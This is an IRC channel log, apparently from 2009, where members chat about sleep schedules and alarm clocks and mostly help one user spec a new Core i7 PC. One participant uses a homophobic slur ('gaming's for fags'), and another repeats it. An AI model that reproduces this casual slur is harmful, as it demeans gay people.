1241383683 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :It'd be nice if Gmail could send you an email every time you get an email so that you know when to check. < 1241383722 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not really. < 1241383740 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :kerlo: Xzibitmail < 1241384325 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: what did you do < 1241384334 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: wat < 1241384349 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :kerlo: maybe an RSS feed? < 1241384353 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: amusingly I was just reading some logs where you were talking about trying Uberman's; how did that go? < 1241384357 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: gmail has a feed. < 1241384363 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1241384371 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :circa 2007-05 < 1241384381 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :well, 29th, more like -06 < 1241384392 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: horrible < 1241384394 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i was miserable < 1241384408 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: how long did you do it? < 1241384417 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :3 days < 1241384428 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: the article says days 3-10 are the worst < 1241384431 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :on the third day,. < 1241384440 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :...god created the something. < 1241384458 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :So how many of us have ehird on /ignore now? < 1241384463 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the something something < 1241384465 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :kerlo: you and AnMaster < 1241384478 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nobody else is stupid enough to miss out on me :-) < 1241384479 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i was supposed to be waking up from a nap, slept about 4 hours through me hideously loud alarm, mother came into my room and tried to wake her, and i apparently sleep-talked her into letting me go back to sleep < 1241384479 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :kerlo: not me < 1241384489 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :and then i woke up about 12 hours later < 1241384494 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: :D < 1241384695 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :13:35:14 speaking of brainfuck, how does one use the Database in brainfuck ? < 1241384706 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :and all i could manage to do with my extra time was sit in front of the computer and watch tv < 1241384759 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :I have my alarm clock set to make a little clicking noise at 4 AM. < 1241384794 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :The exact same little clicking noise wakes me up at 6 AM, but not once has it woken me up at 4 AM. < 1241384853 0 :coppro!unknown@unknown.invalid QUIT :"The only thing I know is that I know nothing" < 1241384879 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1241384881 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :the sound of my alarm clock is physically repulsive < 1241384887 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :even when awake, i can't stand it < 1241384903 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :My alarm clock is my iPhone; it sounds fine, but it's simultaneously in its dock and trying to vibrate < 1241384911 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :BZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZT! BZZZZZZZZZZZZZZZZZZZT! KRRRRRRRRRRRRRRRRBZZZZZZZZZZZZZZZZZT! < 1241384945 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :garlic < 1241384963 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :mm, garlic < 1241385325 0 :tombom!unknown@unknown.invalid QUIT :"Peace and Protection 4.22.2" < 1241385504 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fingarlicking good < 1241385841 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Wow < 1241385842 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :"CPU: PIII 450MHz, Id 0x673, Stepping 3 " < 1241385849 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Nils M Holm uses that CPU. < 1241385857 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :He wasn't joking when he said he had an old computer < 1241385861 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :"Memory: 256MB PC133 SDRAM w/ ECC" < 1241385865 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Geez < 1241386190 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i only have a p4 2ghz with 512mb of ram < 1241386228 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: beats a p3 450mhz < 1241386245 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh, http://peltiertech.com/WordPress/wp-content/img200811/GraphJam3d.jpg < 1241386247 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :heh, i have a core 2 duo 2.16ghz w/ 2.5gb of ram and *I* feel limited ... :-) < 1241386307 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i'm going to buy something soon < 1241386313 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :me too < 1241386325 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you filthy capitalists < 1241386325 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i think a 4-core core i7 3.2ghz w/ 12gb of (ddr3) ram should last a while at least < 1241386327 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :at least 4 cores and 8gb < 1241386340 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: i have 4gb on you bitch < 1241386345 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yeah, tell me about it < 1241386492 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :those new core i7s are expensive < 1241386519 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: very... but also delicious < 1241386526 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :20-40% faster memory access? delicious < 1241386542 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :what about the quad core amds? < 1241386543 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: oh, and with an i7 you have to use ddr3 < 1241386550 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and the new AMDs are kind of crap < 1241386551 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Then you can run Mycology in less than 0.001 seconds! < 1241386560 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :they're slightly less thermally challenged and competitive with core 2 extremes < 1241386562 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :big whoop < 1241386569 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :they are cheap though < 1241386582 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: but ddr3 really is expensive < 1241386589 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :£300 or so for 12GB < 1241386589 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The core 2s are still faster than the i7s for some CPU-bound stuff < 1241386597 0 :Hiato!unknown@unknown.invalid QUIT :"Leaving." < 1241386606 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: yeah, but at 3.2ghz it's probably unnoticable unless you're doing wacky stuff < 1241386611 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: no way < 1241386616 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: yeah way < 1241386625 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that was high-clocked ram tho < 1241386633 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :still, $$$ < 1241386634 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Yeah, I don't think it's a very big difference. Maybe a few minutes if you're doing video encoding or something. < 1241386650 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: yeah - and that ram access is nice < 1241386654 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: orly? < 1241386655 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :esp since it has a small l2 < 1241386670 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: i7s have hyperthreading too < 1241386672 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :which is nice < 1241386676 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: Probably notrly since I pulled that out of my sleeve, google for benchmarks if you want rly < 1241386678 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(core 2 doesn't) < 1241386701 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oh, you also need a new mobo < 1241386705 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :new socket count < 1241386707 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :thing < 1241386753 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i know nothing about ram anyway < 1241386777 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :lemme look up the cost of 8gb "bog standard" ddr3 < 1241386795 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :http://www.newegg.com/Product/Product.aspx?Item=N82E16820227388 < 1241386802 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: $244 from mushkin http://www.mushkin.com/doc/products/memory_detail.asp?id=766 < 1241386807 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ACTION looks at that < 1241386814 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm, ocz < 1241386818 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :not sure I'd trust ocz with my ram < 1241386829 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What? Why not? < 1241386838 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :what's ocz? < 1241386841 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: irrational human bias < 1241386843 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: a company < 1241386861 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: who make things like a thing that reads your brainwaves to control a computer badly < 1241386872 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :well, and good ssds, but let's not let facts get in the way of irrational bias < 1241386873 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Orly? < 1241386877 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: yes < 1241386880 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ocz "actuator" < 1241386881 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I know them only for good RAM and semigood SSDs < 1241386959 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ACTION gives ehird $1500-2000 and tells him to buy me a computer < 1241386970 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :damn I wish my new rig was that cheap :( < 1241386972 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1241386985 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ofc it would be if I wasn't trying to silence it < 1241386986 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :blargl < 1241387060 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: i'm bored so I'm going to find the best parts I can for that money < 1241387061 0 :ehird!unknown@unknown.invalid PART #esoteric :? < 1241387064 0 :ehird!n=ehird@208.78.103.223 JOIN :#esoteric < 1241387067 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1241387072 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :... that was intentional, totally < 1241387077 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i leave channels for dramatic effect < 1241387090 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: oh and i want 1tb raid1 < 1241387104 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: rightyho < 1241387119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : garlic <-- \o/ < 1241387121 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241387123 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you want hardware RAID that'll be another $1000 < 1241387133 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: do you want hardware raid. < 1241387137 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: :D < 1241387140 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I've seen ones for $700 < 1241387153 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: I'll just assume you want hardware raid. < 1241387157 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ehird: ≅ < 1241387161 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and can compromise cpu clockage for it :P < 1241387163 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :hardware raid won't speed up raid1 significantly will it? < 1241387168 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :dunno, ask Deewiant < 1241387170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, vanilla icecream > garlic > * < 1241387176 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: will hardware raid speed up raid1 significantly < 1241387179 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1241387180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hmmm' < 1241387182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hmmm* < 1241387184 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what about < 1241387185 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Beats me < 1241387186 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :software support for mirroring is good iirc < 1241387189 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :garlic icecream < 1241387190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :we need that < 1241387208 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :right then no hardware raid < 1241387218 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i imagine if you have a raid controller with a big cache it'll speed up anything, but it's probably not worth it if you have a large amount of ram < 1241387246 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: do you care about noise or coolers or any of that shit or can I have a break from fussing about that rubbish ;-) < 1241387280 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if there is any music using the lowest octave on the piano. Well of course there is music for other instruments using it. But I can't think of any for piano specifically < 1241387306 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: I'm currently hardlimiting to $1500 fwiw < 1241387318 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Which means you get a clock speed lower than 3.2ghz :-P < 1241387329 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :2.93ghz is half the price, lol. < 1241387337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :possibly the lowest *and* the highest at once :) < 1241387396 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: 6gb of ram fine for you? nehalem works better with odd amounts iirc :-P < 1241387401 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: no < 1241387406 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fine < 1241387410 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :8gb or 12gb it is :P < 1241387427 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : bsmntbombdood: 6gb of ram fine for you? nehalem works better with odd amounts iirc :-P <-- [citation needed] < 1241387431 0 :tombom!i=tombom@wikipedia/Tombomp JOIN :#esoteric < 1241387432 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: wp < 1241387439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems rather strange that it would < 1241387442 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and 6 is even < 1241387446 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :err i meant < 1241387449 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :odd number of actual ram stix < 1241387455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241387456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1241387484 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: 12gb it is then < 1241387489 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :unless i can find 8gb < 1241387519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, can't find it < 1241387525 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: meh, it's true anyway :P < 1241387541 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: any video card requirements < 1241387542 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, why < 1241387542 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :? < 1241387552 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: none < 1241387554 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because the nehalem's integrated memory controller thing has 3 slots that's why < 1241387560 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :gaming's for fags < 1241387560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241387561 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: kay < 1241387569 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: just onboard then? < 1241387607 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i think that is sufficient < 1241387630 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: dammit, the mobo only has 3 ram slots, so I can't fit 12gb in there. [dealwith6gb/picknewmobo] _ < 1241387643 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :the latter < 1241387651 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :mobo picking process initiated < 1241387658 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ehird: 3*4 < 1241387670 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: find me 4gb of ddr3 ram on newegg < 1241387675 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ehird: No, you do it < 1241387679 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i'm trying < 1241387679 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1241387682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, are you ordering for bsmntbombdood < 1241387689 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i'm finding the components for bsmntbombdood < 1241387693 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :since I'm le bored < 1241387702 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: ah, $10 more gets you a mobo with 6 slots < 1241387707 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :How's your funge interp doing < 1241387748 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, hm http://www.theinquirer.net/inquirer/news/1024053/performance-ram-damage-nehalem < 1241387757 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: ...but it has no onboard video, so I'll have to get an el cheapo card < 1241387783 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :cpu+mobo+ram currently @ $1084.96 < 1241387817 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: you run linux right < 1241387828 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 7 months ago... < 1241387832 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes < 1241387840 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yeah I know < 1241387843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, just saw it as a reference on wp < 1241387882 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: rite? < 1241387894 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: yeah < 1241387904 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: so, cheapest modern nvidia card I can find then < 1241387911 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :kay < 1241387966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood, can't you find this yourself btw < 1241387969 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just wondering < 1241387998 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no < 1241388009 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :does the core i7 have new simd instructions? < 1241388019 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :probably. < 1241388020 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's "new" < 1241388046 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It goes to SSE4.2 < 1241388075 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: i assume you're ok with onboard audio < 1241388097 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and don't need a new monitor :P < 1241388098 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: i don't know, what will the difference be? < 1241388109 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: probably nothing. < 1241388115 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ok, raid1 time < 1241388121 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :2x1tb drive time, rather < 1241388304 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: I currently have a 2.93ghz i7, mobo, 12gb ddr3 ram, radeon 4350 gfx, and two hitachi 7200rpm 1tb drives at $1294.93 < 1241388356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: no <-- why not < 1241388365 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: any comments or shall i continue < 1241388374 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i'd do it anyway, i find this kind of thing fun < 1241388381 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, oh ok < 1241388388 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I hate trying to find new computer < 1241388392 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :especially laptops < 1241388397 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: you forgot a case and psu < 1241388401 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: no duh < 1241388406 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that's why I said "shall I continue" < 1241388406 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241388407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :making sure it works with Linux. And wlan < 1241388410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ARGH FOR WLAN < 1241388412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I hate wlan < 1241388439 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: any case requirements? some people like a transparent case showing loads of wires, it makes them feel 1337. i can't begin to imagine why < 1241388453 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what about that open case < 1241388454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241388456 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: nothing retarded like that, it should just be roomy < 1241388457 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot the name of it < 1241388461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just a frame < 1241388471 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: just construct a new room in your house and put the hw in there < 1241388473 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that's very roomy < 1241388477 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://instantrimshot.com < 1241388495 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm, wonder how much watts this thing needs < 1241388511 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: so how roomy is roomy for you < 1241388551 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: I'd be more impressed if the room was necessary. < 1241388596 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1241388631 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: how's 18.9"x8"x17.2" sound < 1241388665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, bsmntbombdood http://www.antec.com/Believe_it/product.php?id=NzA0 < 1241388668 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is the perfect case < 1241388669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241388679 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :looks like a bbq < 1241388684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241388688 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :O_o < 1241388692 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :lawl < 1241388695 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://www.futurelooks.com/antec-skeleton-open-air-case-review/ < 1241388698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is a review of it < 1241388723 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: kay, I got a psu and a case < 1241388727 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :tot.: $1444.91 < 1241388757 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: http://pastie.org/467029.txt?key=rdogtxjhg9o05mr5xndwq < 1241388890 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: so that's < 1241388901 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :quad-core core i7 940 @ 2.93ghz < 1241388906 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bog standard i7 mobo < 1241388913 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :12gb of ddr3 ram (6x2) < 1241388936 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :radeon hd 4350 512mb, 2*1tb 7200rpm drive < 1241388940 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and a blah regular roomy case < 1241388950 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i don't see any obvious non-graphics-intensive bottlenecks there < 1241388952 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: do you? < 1241388967 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Overkill GPU if he's not going to use it for anything < 1241388972 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sure < 1241388976 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It's $39.99 < 1241388986 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :And it's a relatively modern card < 1241388991 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Not a big deal < 1241388999 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, maybe it's crap then < 1241389003 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If it's that cheap :-P < 1241389009 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i can't remember if it's ATI or Nvidia that has bad linux support < 1241389012 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: ati < 1241389017 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ati have bad linux support < 1241389027 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeaah, worse than a Radeon 9700 < 1241389034 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: he said gaming is for fags. < 1241389037 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :he wanted onboard video < 1241389040 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1241389045 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: then why did you pick an ati < 1241389046 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I just got the cheapest card I recognized cause the mobo didn't have that < 1241389048 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :big deal :P < 1241389051 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: hmm < 